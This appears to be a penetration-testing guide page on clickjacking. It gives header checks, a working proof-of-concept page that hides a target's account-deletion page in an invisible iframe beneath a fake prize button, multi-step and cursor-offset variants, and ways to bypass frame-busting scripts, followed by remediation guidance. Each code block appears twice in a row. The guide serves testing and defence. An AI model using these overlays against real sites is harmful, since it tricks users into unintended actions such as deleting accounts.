Exploitation A04| Insecure Design
Clickjacking
Clickjacking (UI redress attack) loads a target page in a transparent iframe over a decoy page. When users think they're clicking on the decoy, they're actually interacting with the hidden target page — enabling unauthorized actions like changing settings, deleting accounts, approving transactions, or granting permissions.
Detection — Can the Page Be Framed?
bash
# Check frame protection headers:
curl -sI https://target.com/settings | grep -iE 'x-frame-options|content-security-policy'
# X-Frame-Options values:
# DENY — cannot be framed at all (SAFE)
# SAMEORIGIN — can only be framed by same origin (SAFE)
# ALLOW-FROM https://example.com — specific origin (partial protection)
# (missing header) — VULNERABLE to clickjacking!
# CSP frame-ancestors:
# Content-Security-Policy: frame-ancestors 'none' (equivalent to DENY)
# Content-Security-Policy: frame-ancestors 'self' (equivalent to SAMEORIGIN)
# Content-Security-Policy: frame-ancestors https://example.com
# Quick test — create a local HTML file:
# If the page loads in the iframe → clickjacking possible# Check frame protection headers:
curl -sI https://target.com/settings | grep -iE 'x-frame-options|content-security-policy'
# X-Frame-Options values:
# DENY — cannot be framed at all (SAFE)
# SAMEORIGIN — can only be framed by same origin (SAFE)
# ALLOW-FROM https://example.com — specific origin (partial protection)
# (missing header) — VULNERABLE to clickjacking!
# CSP frame-ancestors:
# Content-Security-Policy: frame-ancestors 'none' (equivalent to DENY)
# Content-Security-Policy: frame-ancestors 'self' (equivalent to SAMEORIGIN)
# Content-Security-Policy: frame-ancestors https://example.com
# Quick test — create a local HTML file:
# If the page loads in the iframe → clickjacking possibleBasic Clickjacking PoC
html
<!-- Save as clickjack-poc.html and open in browser -->
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
#decoy {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 1;
}
#target-iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
border: none;
}
.click-me-button {
position: absolute;
top: 300px; left: 200px;
padding: 20px 40px;
background: #4CAF50;
color: white;
font-size: 24px;
cursor: pointer;
}
</style>
</head>
<body>
<div id="decoy">
<h1>Win a Free Prize!</h1>
<div class="click-me-button">Click Here to Claim!</div>
</div>
<!-- Target iframe positioned so the sensitive button aligns -->
<!-- with the decoy "Click Here" button -->
<iframe id="target-iframe" src="https://target.com/settings/delete-account"></iframe>
</body>
</html><!-- Save as clickjack-poc.html and open in browser -->
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
#decoy {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 1;
}
#target-iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
border: none;
}
.click-me-button {
position: absolute;
top: 300px; left: 200px;
padding: 20px 40px;
background: #4CAF50;
color: white;
font-size: 24px;
cursor: pointer;
}
</style>
</head>
<body>
<div id="decoy">
<h1>Win a Free Prize!</h1>
<div class="click-me-button">Click Here to Claim!</div>
</div>
<!-- Target iframe positioned so the sensitive button aligns -->
<!-- with the decoy "Click Here" button -->
<iframe id="target-iframe" src="https://target.com/settings/delete-account"></iframe>
</body>
</html>Advanced Clickjacking Variants
html
<!-- Multi-step clickjacking (click multiple buttons in sequence) -->
<script>
let step = 1;
document.addEventListener('click', function() {
if (step === 1) {
// Move iframe to align next button
document.getElementById('target-iframe').style.top = '-200px';
step = 2;
} else if (step === 2) {
// Confirm dialog button is now under cursor
document.getElementById('target-iframe').style.top = '-400px';
step = 3;
}
});
</script>
<!-- Drag-and-drop clickjacking -->
<!-- Use HTML5 drag events to move content between frames -->
<!-- Cursor manipulation -->
<style>
body { cursor: none; }
.fake-cursor {
position: fixed;
pointer-events: none;
/* Offset the visible cursor from actual position */
transform: translate(200px, 150px);
}
</style>
<!-- Text field injection via clickjacking -->
<!-- Position iframe so user types into hidden form field --><!-- Multi-step clickjacking (click multiple buttons in sequence) -->
<script>
let step = 1;
document.addEventListener('click', function() {
if (step === 1) {
// Move iframe to align next button
document.getElementById('target-iframe').style.top = '-200px';
step = 2;
} else if (step === 2) {
// Confirm dialog button is now under cursor
document.getElementById('target-iframe').style.top = '-400px';
step = 3;
}
});
</script>
<!-- Drag-and-drop clickjacking -->
<!-- Use HTML5 drag events to move content between frames -->
<!-- Cursor manipulation -->
<style>
body { cursor: none; }
.fake-cursor {
position: fixed;
pointer-events: none;
/* Offset the visible cursor from actual position */
transform: translate(200px, 150px);
}
</style>
<!-- Text field injection via clickjacking -->
<!-- Position iframe so user types into hidden form field -->JavaScript Frame-Busting Bypass
html
<!-- Some sites use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
-->
<!-- Bypass 1: sandbox attribute -->
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- 'sandbox' without 'allow-top-navigation' blocks frame-busting -->
<!-- Bypass 2: Double framing -->
<!-- attacker.com frames middleman.com which frames target.com -->
<!-- Bypass 3: onbeforeunload to prevent navigation -->
<script>
window.onbeforeunload = function() { return ''; };
</script>
<iframe src="https://target.com"></iframe><!-- Some sites use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
-->
<!-- Bypass 1: sandbox attribute -->
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- 'sandbox' without 'allow-top-navigation' blocks frame-busting -->
<!-- Bypass 2: Double framing -->
<!-- attacker.com frames middleman.com which frames target.com -->
<!-- Bypass 3: onbeforeunload to prevent navigation -->
<script>
window.onbeforeunload = function() { return ''; };
</script>
<iframe src="https://target.com"></iframe>Testing Checklist
- 1. Check X-Frame-Options and CSP frame-ancestors headers
- 2. Create PoC HTML loading the target in an iframe
- 3. Test on sensitive state-changing pages (settings, delete, approve, transfer)
- 4. Test for JavaScript frame-busters and sandbox bypass
- 5. Verify all pages set framing headers (not just the homepage)
- 6. Check if CSRF tokens prevent clickjacking impact
Evidence Collection
Headers: Response headers showing missing X-Frame-Options and CSP
PoC: HTML file demonstrating the target page loaded in an iframe
Impact: Screenshot showing what action could be triggered through the overlay
CVSS Range: Generic: 4.3–6.1 | State-changing action: 6.1–7.5
Remediation
- X-Frame-Options: DENY: Set this header on all pages (or SAMEORIGIN if framing is needed internally).
- CSP frame-ancestors: Add
Content-Security-Policy: frame-ancestors 'none'— this supersedes X-Frame-Options. - SameSite cookies: Set
SameSite=LaxorStricton session cookies to prevent cross-origin framed requests. - Confirmation steps: Add re-authentication or CAPTCHA for critical actions as defense-in-depth.
False Positive Identification
- Missing X-Frame-Options on non-sensitive pages: A marketing/public page frameable without X-Frame-Options is informational, not a vulnerability — focus on pages with state-changing actions (settings, transfers, deletions).
- CSP frame-ancestors present: If CSP with frame-ancestors is set, X-Frame-Options is redundant — check both headers before reporting.
- Login CSRF via clickjacking: Framing a login page is only impactful if you can demonstrate a realistic attack scenario (e.g., login CSRF with attacker-controlled account).